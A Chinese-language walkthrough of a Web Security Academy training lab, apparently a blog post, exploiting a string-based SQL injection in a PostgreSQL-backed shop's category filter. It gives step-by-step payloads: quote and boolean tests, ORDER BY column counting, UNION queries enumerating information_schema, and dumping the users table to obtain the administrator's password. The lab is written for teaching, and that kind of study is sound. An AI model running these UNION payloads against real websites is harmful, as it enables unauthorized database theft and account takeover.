前言
本次实验靶场为 Web Security Academy 的 SQL 注入关卡:SQL injection attack, listing the database contents on non-Oracle databases,页面商品筛选的 category 参数存在字符型 SQL 注入,后端数据库为 PostgreSQL。本文完整记录从漏洞探测、库表枚举到拖取管理员账号密码通关的全过程,适合新手学习 Union 联合注入标准流程。
一、判断注入点是否存在
1. 单引号闭合测试,触发数据库报错
正常访问页面 URL:/filter?category=Pets
我们在参数末尾添加单引号闭合 SQL 语句,Payload:Pets'
编码后访问链接:/filter?category=Pets%27
页面直接返回 Internal Server Error,说明后端直接拼接用户输入,未做过滤,存在 SQL 注入漏洞。


2. 布尔逻辑验证注入可控性
(1)永真条件:and 1=1
Payload:Pets' and 1=1 —
URL:/filter?category=Pets%27%20and%201=1%20–
页面正常加载出宠物分类全部商品,SQL 逻辑被成功执行。

(2)永假条件:and 1=2
Payload:Pets' and 1=2 —
URL:/filter?category=Pets%27%20and%201=2%20–
页面无任何商品数据输出,证明我们可以完全控制查询逻辑,注入点有效。

二、Order By 探测回显字段数量
Union 联合查询要求前后两条 SELECT 查询的字段数量完全一致,因此使用 order by 二分法判断页面展示列数。
测试 order by 3
Payload:' order by 3–
访问链接:/filter?category=%27%20order%20by%203–
页面抛出 500 内部错误,代表当前查询只有 2 列,不存在第 3 列。

测试 order by 2
Payload:' order by 2–
访问链接:/filter?category=%27%20order%20by%202–
页面正常无报错,确定页面查询结果为 2 列,后续 Union 查询必须传入 2 个字段。

三、Union 联合查询基础信息探测
1. 占位符测试,确认两列均可回显数据
使用 -1 使原分类查询无结果,仅展示我们构造的 Union 查询内容:
Payload:-1' union select '1','2'–
URL:/filter?category=-1%27%20union%20select%20%271%27,%272%27–
页面分别输出数字 1、2,两列都能展示查询结果,可用于数据回显。

2. 查询数据库版本,确认数据库类型
PostgreSQL 内置 version() 函数获取数据库版本:
Payload:-1' union select version(),'2'–
页面回显 PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4),确认后端为 PostgreSQL 数据库。

3. 获取当前操作数据库名称
PostgreSQL 使用 current_database() 获取当前库名:
Payload:-1' union select '1',current_database()–
页面输出当前数据库:academy_labs

四、枚举数据库所有数据表
非 Oracle 数据库通用系统库 information_schema.tables 存储全库表名,构造 Payload 枚举所有表:
-1' UNION SELECT table_name, NULL FROM information_schema.tables–
页面输出大量系统表,滚动页面找到业务用户表:users_sdsocg,该表存储账号密码。


五、枚举用户表内全部字段
查询 information_schema.columns,限定表名筛选字段:
-1' UNION SELECT NULL,column_name from information_schema.columns where table_name='users_sdsocg' —
页面回显三个核心字段:username_tvmszr、email、password_msaqka,分别对应用户名、邮箱、密码。

六、拖取管理员账号与明文密码
直接查询用户表用户名、密码字段,获取全站账号数据:
-1' UNION SELECT username_tvmszr,password_msaqka FROM users_sdsocg–
页面展示所有账号,提取管理员凭证:
- 用户名:administrator
- 密码:03xrwv7l7hwuyppddssbo

七、登录管理员账号,完成靶场通关
切换至网站登录页面,填入上面获取的管理员用户名和密码。

登录成功跳转个人中心,页面出现 Congratulations, you solved the lab! 提示,靶场完成。

实验总结
1. 漏洞成因
后端直接将 GET 请求的 category 参数字符串拼接进 SQL 查询语句,未使用预编译、未做输入过滤,攻击者可通过单引号闭合原有 SQL 语句,追加自定义查询语句读取数据库全部数据。
2. Union 联合注入通用流程(MySQL/PostgreSQL 通用,非 Oracle)
对于 PostgreSQL 数据库,需注意其系统表结构与 MySQL 略有不同,但 information_schema 作为标准 SQL 元数据表,在多数数据库中通用,是枚举数据库结构的关键。
希望这篇实战解析能帮助大家理解 SQL 注入的利用逻辑,后续会继续分享更多 Web 安全实验的解题思路,欢迎交流!



